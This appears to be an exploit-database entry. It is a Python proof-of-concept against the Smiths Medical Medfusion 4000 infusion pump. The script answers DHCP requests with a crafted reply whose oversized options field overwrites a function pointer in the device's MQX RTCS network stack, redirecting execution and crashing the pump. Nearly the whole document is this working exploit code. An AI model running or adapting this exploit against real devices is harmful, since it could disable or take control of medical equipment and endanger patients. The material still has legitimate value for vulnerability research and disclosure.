Smiths Medical Medfusion 4000 DHCP Denial Of Service

`#!/usr/bin/python3  
"""PoC for MQX RTCS code execution via DHCP options overflow.  
  
This is just a quick hack to prove the vulnerability and was designed to run  
on a private network with the target device.  
"""  
  
import datetime  
import socket  
  
def main():  
"""Use a default valid DHCP packet to overwrite an event function pointer."""  
execute_addr = 0xFFFFFFFF  
exploit_pkt = bytearray.fromhex(' \  
02 01 06 00 a5 d3 0b 2f 00 00 80 00 00 00 00 00 \  
ff ff ff ff ff ff ff ff 00 00 00 00 ff ff ff ff \  
ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 63 82 53 63 \  
35 01 02 36 04 ff ff ff ff 01 04 ff ff ff 00 43 \  
98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \  
00 00 00 00 00 ff ff ff ff ff')  
  
exploit_pkt[0x195:0x199] = execute_addr.to_bytes(4, byteorder='big')  
  
recv_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
recv_sock.bind(('', 67))  
  
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
send_sock.bind(('', 68))  
  
send_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
send_sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)  
  
while True:  
print("{}: Waiting for DHCP packet...".format(datetime.datetime.now()))  
# Transaction IDs need to match else RTCS will throw out the packet.  
data = recv_sock.recvfrom(1024)[0]  
exploit_pkt[4:8] = data[4:8]  
send_sock.sendto(exploit_pkt, ('<broadcast>', 68))  
print("{}: Transmitted 0x{:X} PC redirection packet.".format(  
datetime.datetime.now(), execute_addr))  
  
if __name__ == "__main__":  
main()  
  
`